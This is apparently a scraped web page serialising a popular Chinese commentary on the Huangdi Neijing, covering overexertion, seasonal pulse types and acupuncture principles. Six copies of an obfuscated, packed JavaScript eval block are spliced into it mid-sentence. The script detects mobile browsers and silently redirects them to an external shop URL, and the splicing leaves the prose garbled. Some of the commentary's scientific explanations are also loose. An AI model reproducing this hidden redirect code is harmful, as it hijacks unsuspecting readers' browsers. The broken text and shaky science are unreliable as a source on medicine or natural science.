问题。这些问题都会间接或直接地影响到骨骼的健康，导致骨骼疲劳、骨质疏松等后果。 从现代医学的角度来看，久立同样会对身体造成不良影响。长时间站立会使腿部肌肉长时间处于紧张状态，容易产生疲劳感。同时，由于下肢静脉血液回流不畅，容易引发静脉曲张等问题。此外，长时间站立还可能导致骨骼负担加重，加速关节磨损和老化。 因此，为了保持身体健康，我们应该避免长时间站立。如果因为工作或其他原因需要长时间站立，可以适时休息、走动一下，以缓解下肢的疲劳和压力。同时，保持适当的运动量和均衡的饮食也有助于增强骨骼健康和缓解久立带来的不良影响。 “久行则劳于筋脉而伤筋”，这句话出自中医的养生理念，是“五劳所伤”中的一部分。它提醒我们，虽然适度的运动对身体健康有益，但过度的行走或运动却会对身体造成损害。 “久行伤筋”指的是长时间行走或运动过度，会导致筋脉劳损，进而影响到身体的运动和支撑功能。 筋是连接肌肉和骨骼的重要组织，它负责传递肌肉产生的力量，帮助身体完成各种动作。然而，当筋脉受到过度劳损时，就会出现疼痛、僵硬、无力等症状，严重时甚至会导致筋脉断裂或肌肉 萎缩。 在现代生活中，由于工作、学习等原因，很多人需要长时间站立或行走。虽然这些活动对身体健康有一定的益处，但如果不注意适度休息和放松，就容易导致筋脉劳累。因此，我们在日常生活中应该注意合理安排自己的活动时间和方式，避免过度劳损。 同时，如果出现筋脉劳损的症状，可以通过适当的按摩、热敷、针灸等方法进行缓解。如果症状严重或持续不减，建议及时就医，以免延误病情。 总之，“久行则劳于筋脉而伤筋”这句话提醒我们，在追求健康的同时也要注意适度运动，避免过度劳损。 第18章 （12）五脏与四时相应的脉象 在中医理论中，五脏与四时（春、夏、秋、冬四季）之间的对应关系是一种非常重要的概念。这种对应关系体现了中医“天人合一”的哲学思想，即人体的生理和病理变化与自然界的变化是息息相关的。具体到五脏与四时的脉象相应，肝脉应春，其脉象端直而长为弦，这一描述正是中医脉诊学中的精髓之一。 首先，我们来谈谈“肝脉应春”的含义。在中医看来，春季是万物生长的季节，自然界呈现出勃勃生机，而人体内的肝气也在此时最为活跃。肝气主疏泄，具有调畅气机、促进新陈代谢的作用。因此，春季养生应顺应肝气，保持心情舒畅，避免肝气郁结。 接下来，我们再来探讨“其脉象端直而长为弦”的含义。这里的“端直而长”形容的是脉象的形态特征，即脉象在指下感觉到的长度较长，且形态较为挺直。而“弦”则是对脉象质地的一种描述，类似于琴弦紧绷的感觉。这种脉象特点正是春季肝气旺盛、气血充盈的表现。 从中医脉诊学的角度来看，肝脉弦脉的出现提示着肝气的正常活动，是人体健康的标志之一。然而，如果弦脉过于明显或伴有其他异常脉象，则可能意味着肝气过盛或肝气郁结等病理状态，需要进一步的诊断和治疗。 “心脉映夏，其脉象来盛去衰为钩”这一说法，体现了中医对于人体与自然界相互关系的深刻洞察。 首我们来说说“心脉映夏”。在中医理论中，夏季被认为是阳气最盛的季节，自然界万物生长茂盛，生机勃勃。人体内心脏则是“阳中之阳”，主血脉，与夏季的阳气旺盛相呼应。因此，夏季心脏的生理活动也会更加活跃，心脉的搏动也会相应增强。 “其脉象来盛去衰为钩”。这里的“来盛去衰”指的是脉象在搏动过程中的起伏变化。具体来说，当心脏收缩时，血液被泵出，脉象会显得较为强盛；而当心脏舒张时，血液回流，脉象则会相对减弱。这种起伏变化就像是一个钩子，先上升后下降，因此被称为“钩脉”。 在中医脉诊中，钩脉被认为是夏季心脏健康的表现。它反映了心脏功能正常，气血充盈，能够顺利地将血液输送到全身各处。然而，如果钩脉过于明显或伴有其他异常脉象，则可能意味着心脏存在某些病理变化，需要进一步的诊断和治疗。 总之，“心脉映夏，其脉象来盛去衰为钩”这一说法体现了中医对于人体与自然界相互关系的深刻理解。通过观察和分析脉象的变化，我们可以了解人体内部的生理和病理状态，为疾病的预防和治疗提供重要的依据。 当我们谈到“脾旺于长夏，其脉象虚弱为代”时，我们需要理解这里的“长夏”并非我们通常所说的夏季，而是指夏季与秋季之间的过渡时期，也就是中医所说的“土季”，此时气候炎热而潮湿，与脾土的特性相呼应。 在中医理论中，脾主运化，将我们摄入的食物转化为精微物质，供给全身。而长夏时期，气候潮湿，容易影响脾的运化功能，使得脾气相对旺盛，但同时也容易出现湿气过重的情况。因此，在这个时期，保持脾的健康就显得尤为重要。 接下来，我们探讨“其脉象虚弱为代”的含义。在中医脉诊中，“代脉”是指脉象有规律的歇止，表现为脉搏跳动过程中出现短暂的停顿，然后又继续跳动。而“虚弱”则是指脉象无力，缺乏生气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428708|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当脾的运化功能出现问题时，脉象可能会出现虚弱或代脉的现象。这往往是因为脾气不足，无法推动血液正常运行所致。 需要注意的是，代脉并不是一种正常的脉象，而是病理状态下的表现。如果出现代脉，可能意味着心脏功能出现了问题，或者体内有气血瘀滞、痰湿等病理因素存在。因此，如果发现自己的脉象出现虚弱或代脉的现象，应及时就医，以便得到专业的诊断和治疗。 总之，“脾旺于长夏，其脉象虚弱为代”这一说法体现了中医对于人体与自然环境相互关系的深刻理解。通过观察和分析脉象的变化，我们可以了解人体内部的生理和病理状态，为疾病的预防和治疗提供重要的依据。 “肺脉应秋”表明在秋季，肺的生理功能最为活跃，与秋季的气候特点相呼应。而“其脉象清虚而浮”则是对秋季肺脉特点的精确描述。 秋季是一个收获的季节，自然界中的阳气逐渐收敛，阴气逐渐增长。这种气候特点与肺的功能特性相吻合，因为肺主气，司呼吸，能够将自然界的清气吸入体内，同时将体内的浊气排出体外。在秋季，随着气候的逐渐凉爽，肺的呼吸功能也会相应增强，使人体能够更好地适应季节的变化。 我们来看“其脉象清虚而浮”的具体含义。在中医脉诊中，“清虚”指的是脉象清晰而不混杂，反映了气血的纯净和流畅；“浮”则是指脉象轻浮在皮肤之下，易于触及，这通常是由于阳气浮于表所致。在秋季，由于肺的功能活跃，气血流通顺畅，因此脉象会呈现出清虚而浮的特点。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第19章 宝命全形论 “保命”，这个词语深含着对生命的尊重与珍视。其字面意义在于将生命视为最宝贵的财富，如同守护一颗无价的宝石。而“全行”则进一步强调了保全身体、维护健康的重要性，因为在天地之间，人的生命是最为独特和珍贵的。 人作为万物之灵，拥有思想、情感和创造力，这使得人的生命不仅仅是一个生物学上的存在，更是一个文化和精神层面的存在。因此，我们必须深刻理解并实践“保命全行之道”。 保命意味着我们要有敬畏生命的意识。生命是短暂的，但同时也是无比珍贵的。我们不应该将生命视为理所当然的拥有，而应该时刻珍惜它、呵护它。无论是面对生活中的小挫折还是面对生命的大危机，我们都应该保持冷静、乐观和勇敢，用我们的智慧和勇气去克服困难，守护我们的生命。 全行则要求我们要有健康的生活方式。身体是革命的本钱，一个健康的身体才能支撑我们去追求梦想、实现价值。因此，我们应该注重饮食、锻炼和休息等方面的健康习惯，避免不良的生活习惯对身体造成损害。同时，我们还应该学会调节自己的情绪和压力，保持心理健康。 保命全行之道也提醒我们要有社会责任感。我们每个人的生命都是社会大家庭中的一份子，我们的行为和选择都会对社会产生影响。因此，我们应该学会关爱他人、尊重他人、帮助他人，为社会贡献自己的力量。只有这样，我们才能真正实现生命的价值和意义。 “保命全行”不仅是一种生活方式和态度，更是一种对生命的敬畏和珍视。让我们共同努力，实践这一道理，让我们的生命更加美好、更加有意义。 本篇的主要内容有 首先，关于医生在诊察疾病时细心观察疾病的症候这一点，确实是中医理论中的重要原则。中医强调“望、闻、问、切”四诊合参，医生需要细心观察病人的面色、舌苔、脉象等，以及询问病史、症状等，从而全面了解病情，为后续的治疗提供准确的依据。 同时，中医还强调人体与天地阴阳的变化关系。这种变化关系可以理解为人体内部的阴阳平衡与外界自然环境的变化之间的相互影响。比如，在季节变化时，人体的阴阳平衡也会发生变化，医生在诊断疾病时需要考虑这种变化，以便更加准确地判断病情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428709|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下来，关于针刺的五种针法以及针刺正法，这是中医针灸学中的重要内容。针刺的五种针法。每种针法都有其特定的使用场景和操作技巧，医生需要根据病情和患者的具体情况选择合适的针法。 针刺正法则是指在进行针刺治疗时，医生需要遵循的一系列原则和规范。这些原则包括：选穴准确、手法熟练、针感适宜、补泻得当等。通过遵循这些原则，医生可以确保针刺治疗的效果最大化，同时减少可能出现的风险和并发症。 虚实补泻和得气务失，这是中医针灸治疗中的核心理论之一。虚实补泻是指根据患者的体质和病情，选择合适的补泻手法进行治疗。得气则是指医生在针刺过程中，通过手法使患者产生的一种特殊感觉，这种感觉有助于医生判断治疗效果和病情变化。务失则是指医生在进行针刺治疗时，需要时刻保持警惕，避免出现失误或差错。 总之，中医理论强调的细心观察、阴阳平衡、针刺正法以及虚实补泻等原则，都是为了更好地服务于患者的健康。在实践中，医生需要不断学习和掌握这些原则和规范，以便更好地为患者提供优质的医疗服务。 第19章 （1）细心洞察：医生诊病的关键在于症候观察 黄帝问：在天地之间，万物繁盛，各有其独特之处，但无可否认，人作为万物之灵，拥有着无可比拟的价值。 人之所以宝贵，不仅在于其拥有高度的智慧和创造力，更在于其独特的生命过程和生存方式。人依靠天地之气和水谷精气生存，这是一种与自然和谐共生的方式。我们呼吸着天地间的空气，摄取着水谷中的精华，将自然的能量转化为生命的动力。 同时，人还遵循着四时生长收藏的规律而生活着。春生、夏长、秋收、冬藏，这是自然界的基本规律，也是人类生活的基本节奏。 黄帝说：健康并非一蹴而就，同样，疾病也非一日之寒。当病情尚浅，症状未显时，人们往往难以察觉，而等到疾病深入骨髓，治疗难度便大大增加。我对此感到非常忧虑，我想用针刺解除他们的痛苦，应该怎么办呢？ 岐伯回答说： 以盐为例，盐是咸的，这是其固有的属性。当盐储藏在器具中时，如果出现渗出水来的现象，这实际上是盐气外泄的一种表现。 当琴弦被拨动时，它会开始振动，产生声波，这些声波通过空气传播，最终被我们听到。然而，当琴弦即将折断时，它的结构会发生改变，导致振动的模式发生变化。这种变化使得声波的频率、振幅等参数发生改变，从而使得声音听起来嘶败。 一棵树的生长和衰老是一个自然的过程。但如果这棵树内部已经出现问题，比如树根受损、树干内部空洞或腐烂等，那么即使它的枝叶看起来很繁茂，也无法掩盖它内部的虚弱。这种情况下，一旦遇到风雨等外部环境的挑战，这棵树就非常容易倒下或枯萎。 在医学领域，观察疾病的症候同样重要。这些症候可能是患者的主观感受，如疼痛、瘙痒等；也可能是客观体征，如发热、皮疹等。 例如，一个患者出现口渴、多饮、多尿的症状，医生可能会考虑到糖尿病的可能性。这时，医生需要进一步观察患者的血糖水平、尿糖情况等，以确诊是否为糖尿病。同样地，对于其他疾病，医生也需要通过观察和分析患者的症候，找到病因并制定治疗方案。 岐伯接着说：“人在疾病深重的时候会产生呃逆”这一现象，首先需要明确的是，呃逆（俗称“打嗝”）在医学上的确可能由多种原因引起，但并非所有呃逆都直接指向内脏的严重破坏。虽然在某些极端情况下，呃逆可能是病情恶化的一个信号，但更多时候，它可能是由更常见的因素，如饮食过快、消化不良、情绪紧张等引起的。 当然，如果一个人在疾病深重时出现了呃逆，并且伴随着其他严重的临床症状，如持续的腹痛、高热、意识模糊等，那么这确实可能是病情恶化的一个迹象。在这种情况下，及时就医并进行全面检查是非常重要。 黄帝问：我很同情病人的痛苦，心中有些慌乱，疑惑，如果治疗不当，反而会使病情加重，我又不能替他们受苦。看到百姓这种情况，会认为我残忍粗暴，我究竟怎么办才好呢？ 岐伯说：我们常常将天地视为一个统一的整体，而人则是这个整体中的一部分。这种观念认为，天地之气相和，产生了人，而人如果能顺应自然界的四时变迁，那么自然界的一切都会成为他生命的源泉。 从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428710|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现代科学的角度来看，这种观念也有其合理之处。首先，我们的身体确实与自然环境息息相关。我们的生命活动需要依赖空气、水、食物等自然资源，而这些资源都来源于自然界。其次，我们的生物钟也受到了自然环境的影响。例如，日出而作、日落而息的生活方式，就是人类根据自然环境调整生物钟的一个典型例子。 当我们能够适应四时变迁时，我们实际上是在与自然界保持一种和谐的关系。在春天，我们顺应生发的自然规律，进行户外活动，促进身体的新陈代谢；在夏天，我们注意防暑降温，避免中暑；在秋天，我们收获果实，享受丰收的喜悦；在冬天，我们注意保暖，抵御寒冷。这种顺应四时变迁的生活方式，不仅有利于我们的身体健康，也有利于我们的心理健康。 在自然界中，万物生长都有其自身的规律和节奏。从一颗种子的萌发，到植物的成长、开花、结果，再到动物的繁衍、迁徙，这些都是自然规律的一部分。而知道这些规律的人，他们能够理解并尊重这些规律，从而与自然界和谐共处。 这样的人，他们懂得如何承受和运用万物。他们知道如何根据季节的变化来耕种、收获，如何根据动物的习性来狩猎、养殖。他们不仅从自然界中获取所需的资源，更能够回馈自然，保持生态的平衡。 他们还能够将这些道理运用到社会生活中去。他们知道如何与人相处，如何理解他人的需求和情感，如何给予他人支持和帮助。他们有着广阔的胸怀和深远的智慧，能够容纳世间万物，也能够运用世间万物。 这章没有结束，请点击下一页继续阅读！ 第19章 （2）掌握针刺治疗疾病的精髓要领 黄帝说“人从出生起就有了形体，离不开阴阳的变化，天地二气相和，生成了世界上的万物”这一观点，深刻揭示了宇宙间万物生成的本质。 从阴阳变化的视角看，人类生命体的形成，正是天地间阴阳二气相互作用、相互转化的结果。阴阳，作为中国古代哲学中的一对基本概念，代表着宇宙中两种相互对立而又相互依存的力量。它们相互激荡、相互渗透，在天地之间不断流转，形成了宇宙间万事万物的生成与变化。 在生命体的形成过程中，阴阳二气的作用尤为显着。从受精卵的形成到胚胎的发育，再到婴儿的出生，每一个阶段都离不开阴阳二气的相互作用。在这个过程中，天地二气相和，将宇宙的精华与能量注入到生命体中，使得生命体得以诞生并茁壮成长。 同时，体现了中国古代哲学对于宇宙间万物生成与变化的深刻洞察。在古人看来，宇宙间的一切事物都是由阴阳二气相互作用、相互转化而成的。这种变化不是孤立的、片面的，而是相互联系、相互依存的。 在古代中国哲学中，“气”是一个极为重要的概念，它被认为是构成宇宙万物的基本元素，而天地二气则分别代表了阳和阴，这两者相互作用、相互转化，从而产生了万物。 从地理上分为九野的说法，同样来源于古代中国的天文地理观念。九野，即把天空分成九个部分，每个部分对应地上的一个区域。 黄帝接着说：从地理上可分为九野 地理上的九野并没有明确的区域划分，但结合九州的概念（即古代中国对地域的划分：豫州、冀州、兖州、青州、徐州、扬州、荆州、雍州、幽州），我们可以将九野理解为对九州地理环境的进一步细化和描述。 从气候上分为四时，古人发现，随着太阳的运动和地球的自转，地球上的气候会出现周期性的变化，这种变化可以被归纳为春、夏、秋、冬四个季节。这四个季节不仅影响着农作物的生长和收成，还深深地影响着人们的生活方式和文化习俗。 黄帝问：月份有大小，日月有长短，这都是阴阳消长变化的体现，天地间万物的生长变化现象更是不可胜数，我只希望解除病人的痛苦，请问应当运用什么样的方法呢？ 岐伯回答说：“木”代表生长、升发，象征着春天的气息和植物的生长；“金”则代表沉降、收敛，象征着秋天的肃杀和金属的坚固。“木遇到金就会被折罚”，这里的“折罚”可以理解为木被金所克制、抑制。 火碰到水就会熄灭，从科学角度来说，水能够吸收火的热量并转化为蒸汽，从而降低火的温度，使其无法维持燃烧所需的温度，最终导致火焰熄灭。 土被木殖就会疏松，植物的根系在土壤中生长，会分解土壤中的有机物质，同时释放氧气和酸性物质，使土壤变得疏松透气，有利于植物的生长。 金遇到火就会融化，这是金属的物理特性之一。金属在高温下会达到熔点，从而由固态转变为液态。 水遇到土就会被遏制，土壤具有吸附和过滤的作用，当水流经土壤时，土壤会吸收和过滤掉水中的杂质和污染物，从而降低水的流速和流量，使其得到遏制。 这四个现象都体现了自然界中不同元素之间的相互作用和关系，也反映了自然界的复杂性和多样性。 岐伯说：用针刺来治疗疾病，能够使百姓受益，同时我也要说五大要领，因为人们不懂得这些道理，所以我要向大家传授一下。 一、精神专一：精神专一被视为修炼身心、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428711|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保持健康的重要方法。它意味着在进行治疗或养生时，需要全神贯注，不受外界干扰，以达到最佳效果。同时，这也强调了心态平和、情绪稳定对于健康的重要性。 二、了解养生之道：养生之道它涵盖了饮食、起居、运动、情志等多个方面。了解养生之道，可以帮助我们根据自身的体质和环境条件，选择适合自己的养生方法，从而保持身体健康，预防疾病。 三、熟悉药物的真正性能：在中医治疗中，药物是不可或缺的一部分。熟悉药物的真正性能，包括其性味、归经、功效、主治等，是正确使用药物、发挥药物最大疗效的前提。同时，也需要了解药物之间的相互作用和配伍禁忌，以避免产生不良反应。 四、注意制取砭石的大小：砭石是一种传统的中医外治工具，常用于刮痧、按摩等治疗中。注意制取砭石的大小，是指在使用砭石进行治疗时，需要根据患者的具体情况和治疗需要，选择合适的砭石大小和形状。这样不仅可以提高治疗效果，还可以避免对患者造成不必要的伤害。 五、要懂得脏腑血气的诊断方法：脏腑血气的诊断是中医诊断的重要部分，它通过观察患者的面色、舌象、脉象等体征，结合患者的病史和症状，来判断患者脏腑功能的强弱和气血的盈亏。懂得脏腑血气的诊断方法，可以帮助医生更准确地了解患者的病情，制定更有效的治疗方案。 治疗疾病时，能够懂得这五项要领就可以掌握缓急先后。现在的医生运用针刺一般都用补法治虚泻法治湿，这是大家所共知的。 如果能按照天地阴阳的道理随其变化而施针法，就能得到如影 随形的疗效。医学的道理其实并没有那么样的神秘，医生只要对这些道理深刻领会，就能运用自如了。 第19章 （3）针尖下的智慧：针刺过程的科学解读 黄帝说：我希望听你讲一下针刺的道理。 岐伯说：在中医针灸的理论体系中，用针的首先强调要集中精神，深入了解患者的五脏虚实状况以及三部九候脉象的微妙变化。这不仅仅是技术层面的操作，更是一种对生命的敬畏和对自然的顺应。 在施针之前，医者需通过望、闻、问、切四诊合参，全面了解患者的病情，特别是五脏的虚实状况。因为五脏是人体生命活动的中心，它们的健康状况直接影响着人体的整体状态。只有准确把握了五脏的虚实，医者才能根据“虚则补之，实则泻之”的原则，选择正确的穴位和施针方法。 同时，医者还需掌握三部九候脉象的变化。三部九候是中医脉诊的一种方法，通过观察不同部位脉象的强弱、快慢、浮沉等变化，可以判断患者体内气血的盛衰、阴阳的失衡等状况。这些脉象信息对于指导针灸治疗具有重要意义。 在了解了五脏虚实和三部九候脉象变化后，医者就可以开始施针了。但需要注意的是，施针的过程也需要保持高度的集中和专注。因为针灸治疗是一种精细的操作，稍有不慎就可能造成不良后果。因此，医者需要在施针过程中不断调整自己的呼吸和心态，确保每一针都能准确到位，达到预期的治疗效果。 在针刺时，全神贯注的重要性是不言而喻的。针灸不仅仅是一门技术，更是一种艺术，它要求医者具备极高的专注力和敏锐的观察力。在施针过程中，即使有人旁观，医者也应如同处于无人之境，全神贯注于患者的脉象和身体状况。这种专注不仅能让医者更准确地判断病情，也能让患者感受到医者的专注和认真，从而增强治疗的信心。 同时，医者还需要具备察色诊脉的能力。察色，即观察患者的面色、舌苔等外在表现，以判断病情的虚实寒热；诊脉，则是通过触摸患者的脉象，感知气血的流动和脏腑的功能状态。只有全面了解患者的病情，将发病机理揣摩清楚，医者才能制定出针对性的治疗方案，确保治疗的有效性和安全性。 在喧闹的环境中施针，对医者来说是一种挑战。但正是这种挑战，更能体现医者的专业素养和定力。医者需要像听不见喧哗一样，保持内心的平静和专注，确保施针过程不受外界干扰。这种专注和定力，不仅能让医者更好地把握病情，也能让患者感受到医者的专业精神和责任心。 关于“五虚”与“五实”的症状，这是中医理论中对于人体虚实状态的一种描述，它们各自代表了五脏精气在不同状态下的表现。下面我将为大家详细解析这两种状态的症状。 五虚的症状： 五虚，指的是五脏精气虚损的综合证候，具体表现在以下几个方面： 1. 脉细：脉搏细小而软弱无力，这是气血亏虚的表现。血虚不能充盈脉道，气虚无力鼓动血液运行，导致脉体细小。 2. 皮寒：皮肤温度降低，感觉寒冷。这多是由于肺气虚不能宣发卫气于肌表，导致腠理不固，怕冷。 3. 气少：呼吸短促，气喘或咳嗽等症状。这是肝气虚导致气少的表现，肝之升发疏泄无权，“生发之气”虚少。 4. 泄利前后：大小便失禁，特别是大便稀溏，甚至久泄不止。这多是由于肾虚不固，膀胱失约，大肠失固所致。 5. 饮食不入：食欲不振，甚至完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428712|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全不能进食。这是脾气虚，运化失健的表现。 五实的症状： 五实，则是指邪气闭阻于五脏，表现在外的实热症状，具体包括： 1. 脉盛：脉搏洪盛有力，这是心受邪的表现，邪气亢盛，血液流动加速。 2. 皮热：皮肤温度升高，感觉灼热。这是肺受邪的表现，邪热充斥于肌肤之间。 3. 腹胀：腹部胀满，甚至疼痛。这是脾受邪的表现，邪气阻滞气机，导致腹胀。 4. 前后不通：大小便不通畅，甚至完全闭塞。这是肾受邪的表现，邪气闭阻水道，导致二便不通。 5. 闷瞀：精神昏乱，目昏气闷。这是肝受邪的表现，邪气扰乱神明，导致神志不清。 在中医的实践中，病症确实存在虚实之分，这是一个非常核心且重要的理论。对于“五虚”的症状，我们必须谨慎，不能草率下针去泻，以免进一步损害患者的正气。同样，对于“五实”的症状，我们也不能轻易放弃而不去泻，否则可能导致病情进一步恶化。 要掌握针刺的时机，这是中医针灸治疗中的一项关键技能。在应该进针的时候，一秒钟也不能耽搁，因为及时的干预可以阻止病情的发展，甚至扭转乾坤。这种对时机的把握，需要医者具备深厚的中医理论基础和丰富的临床经验。 具体来说，五虚症状可能包括神气虚衰、呼吸微弱、声音低微、脉象细弱等，这些都是身体正气不足的表现。在这种情况下，我们需要通过补益的方法来恢复患者的正气，而不是通过泻法来进一步削弱身体。 这章没有结束，请点击下一页继续阅读！ 第20章 八正神明论 八正，作为中国传统节气中的八个重要节点，承载着春、夏、秋、冬四季的转换与日月星辰变化的精髓。这八个节气分别是春分、秋分、夏至、冬至，以及立春、立夏、立秋、立冬，它们不仅是农历中划分四季的界限，也反映了自然界万物生长、繁盛、收敛、闭藏的循环过程。 春分和秋分分别标志着昼夜平分，阳光直射赤道，意味着春季和秋季的正式到来。这两个节气是阴阳平衡的象征，也是农事活动的重要节点。 夏至和冬至则是太阳在一年中直射地面的最北点和最南点，分别代表着夏季和冬季的开始。夏至时，北半球白昼最长，夜晚最短；冬至时则相反，北半球夜晚最长，白昼最短。这两个节气标志着太阳高度角的变化，对地球气候有着深远的影响。 立春、立夏、立秋、立冬则分别标志着春、夏、秋、冬四季的开始。这四个节气是根据地球绕太阳公转轨道上的位置变化而确定的，反映了地球在公转过程中所处的不同位置以及太阳对地球的照射情况。 日月星辰的变化它们与八正节气的变化紧密相连。例如，春分时，太阳直射赤道，昼夜平分，同时月亮的相位也在不断变化，从新月到满月再到残月。夏至时，太阳直射北回归线，北半球白昼最长，夜晚最短，此时天空中的星座和星星也随着季节的变化而有所不同。 总的来说，八正节气及其所对应的日月星辰变化，不仅反映了自然界的规律，也蕴含着丰富的文化内涵和人生哲理。这些节气不仅指导着人们的农事活动，也影响着人们的日常生活和思想观念。 在探讨“神明”这一概念时，我们首先要明确其字面意义与在特定语境下的引申意义。“神明即心领神会，明白透彻”，这里的“神明”更多是在形容一种超然的、深刻的理解或领悟。而在你提到的“本片”中，将“神明”喻指为“上工神医极高的诊疗水平”，则是赋予了这一词汇在医学领域的特殊含义。 在中医理论中，“上工”是对医术高超、医德高尚的医生的尊称。而“神医”更是对其医术之精湛、能洞察病患深层次病因的极高赞誉。将这样的医生与“神明”相提并论，不仅是因为他们能够心领神会、明白透彻地诊断疾病，更是因为他们的诊疗水平已经达到了超凡脱俗、接近神明般的高度。 这样的赞誉并非空穴来风，而是基于他们深厚的医学知识、丰富的临床经验以及对病患无微不至的关怀。他们能够通过望、闻、问、切四诊合参，洞察病患的病情，制定出精准有效的治疗方案，帮助病患摆脱疾病的困扰。 本篇的主要内容包括一、关于针刺治疗与四时八正、日月星辰变化的结合。 在中医理论中，针刺治疗强调与自然的和谐统一。四时八正，即春分、秋分、夏至、冬至、立春、立夏、立秋、立冬八个节气，以及日月星辰的变化，都反映了自然界阴阳消长的规律。人体作为自然界的一部分，其气血的虚实也随着这些变化而波动。因此，在进行针刺治疗时，必须准确把握这些变化对人身体气血虚实的影响，因时制宜，因人施治。 具体来说，当春分、秋分时，昼夜平分，阴阳平衡，此时进行针刺治疗应以调和阴阳为主；夏至、冬至时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428713|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳气或阴气达到极点，此时治疗应顺应阴阳盛衰的规律，补益或泻邪；而在立春、立夏、立秋、立冬等节气交替之际，应特别关注人体气血的变化，及时调整治疗方案。 二、关于针刺补泻中方和圆的关键要领 在针刺补泻中，方和圆代表了两种不同的手法和理念。方，即指直接、刚硬的手法，如深刺、强刺激等，适用于实证、热证等需要泻邪的病症；圆，则指柔和、婉转的手法，如浅刺、轻刺激等，适用于虚证、寒证等需要补益的病症。 在实际操作中，方和圆的运用要灵活多变，根据患者的具体情况和病情需要来选择合适的手法。同时，还要注意针刺的深浅、角度、方向等因素，以达到最佳的治疗效果。 三、关于诊疗水平上形与神两种不同的境界 在中医诊疗中，形与神代表了两种不同的境界。形，即指人体外在的形态、结构等物理特征；神，则指人体内在的精神、意识等心理特征。在诊疗水平上，形与神两种不同的境界体现了医生对患者病情认知的深浅程度。 初级阶段的医生可能更多关注于患者的外在形态、症状等物理特征，即“形”的层面。而高水平的医生则能够透过这些外在表现，洞察到患者内在的精神、意识等心理特征，即“神”的层面。这种对“神”的洞察，需要医生具备深厚的医学知识、丰富的临床经验以及敏锐的洞察力。 因此，在追求诊疗水平的提高过程中，医生不仅要注重对患者外在形态、症状的观察和分析，更要努力提升自己的内在修养和洞察力，以达到形神兼备的境界。 第20章 （1）如何精准掌握用针技术？方法与准则全揭秘 黄帝问道：用针的技术必然要遵循一定的方法准则，究竟什么方法，什么准则呢？ 岐伯回答说：取法于天地阴阳，并结合日月星辰之光来研究”。其实是在强调中医理论中的“天人合一”和“顺应自然”的思想。 我们来看“取法于天地阴阳”。在中医理论中，天地阴阳被视为构成世界万物的根本要素，它们之间的相互作用和平衡关系，直接影响着人体的健康和疾病。因此，中医强调要从自然界中寻找规律，理解人体与自然的联系，从而达到预防和治疗疾病的目的。 